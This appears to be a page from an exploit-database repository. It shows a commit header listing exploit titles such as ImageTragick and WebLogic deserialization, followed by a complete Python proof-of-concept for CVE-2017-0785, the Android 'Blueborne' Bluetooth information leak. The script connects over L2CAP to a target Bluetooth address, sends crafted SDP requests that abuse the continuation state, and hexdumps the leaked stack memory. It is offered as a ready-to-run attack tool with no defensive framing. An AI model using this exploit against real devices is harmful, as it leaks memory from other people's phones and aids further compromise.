0579cde876
5 changes to exploits/shellcodes ImageMagick 6.9.3-9/7.0.1-0 - Multiple Vulnerabilities (ImageTragick) ImageMagick 7.0.1-0 / 6.9.3-9 - 'ImageTragick ' Multiple Vulnerabilities ImageMagick 6.9.3-9/7.0.1-0 - Delegate Arbitrary Command Execution (ImageTragick) (Metasploit) ImageMagick 6.9.3-9 / 7.0.1-0 - 'ImageTragick' Delegate Arbitrary Command Execution (Metasploit) Oracle WebLogic Server 10.3.6.0 - Java Deserialization Oracle WebLogic Server 10.3.6.0 - Java Deserialization Remote Code Execution Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution Oracle Weblogic Server 10.3.6.0 / 12.1.3.0 / 12.2.1.2 / 12.2.1.3 - Deserialization Remote Command Execution Android Bluetooth - 'Blueborne' Information Leak (1) Android Bluetooth - 'Blueborne' Information Leak (2) Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution
52 lines
No EOL
1.1 KiB
Python
Executable file
52 lines
No EOL
1.1 KiB
Python
Executable file
from pwn import *
|
|
import bluetooth
|
|
|
|
if not 'TARGET' in args:
|
|
log.info("Usage: CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX")
|
|
exit()
|
|
|
|
target = args['TARGET']
|
|
service_long = 0x0100
|
|
service_short = 0x0001
|
|
mtu = 50
|
|
n = 30
|
|
|
|
def packet(service, continuation_state):
|
|
pkt = '\x02\x00\x00'
|
|
pkt += p16(7 + len(continuation_state))
|
|
pkt += '\x35\x03\x19'
|
|
pkt += p16(service)
|
|
pkt += '\x01\x00'
|
|
pkt += continuation_state
|
|
return pkt
|
|
|
|
p = log.progress('Exploit')
|
|
p.status('Creating L2CAP socket')
|
|
|
|
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
|
|
bluetooth.set_l2cap_mtu(sock, mtu)
|
|
context.endian = 'big'
|
|
|
|
p.status('Connecting to target')
|
|
sock.connect((target, 1))
|
|
|
|
p.status('Sending packet 0')
|
|
sock.send(packet(service_long, '\x00'))
|
|
data = sock.recv(mtu)
|
|
|
|
if data[-3] != '\x02':
|
|
log.error('Invalid continuation state received.')
|
|
|
|
stack = ''
|
|
|
|
for i in range(1, n):
|
|
p.status('Sending packet %d' % i)
|
|
sock.send(packet(service_short, data[-3:]))
|
|
data = sock.recv(mtu)
|
|
stack += data[9:-3]
|
|
|
|
sock.close()
|
|
|
|
p.success('Done')
|
|
|
|
print hexdump(stack) |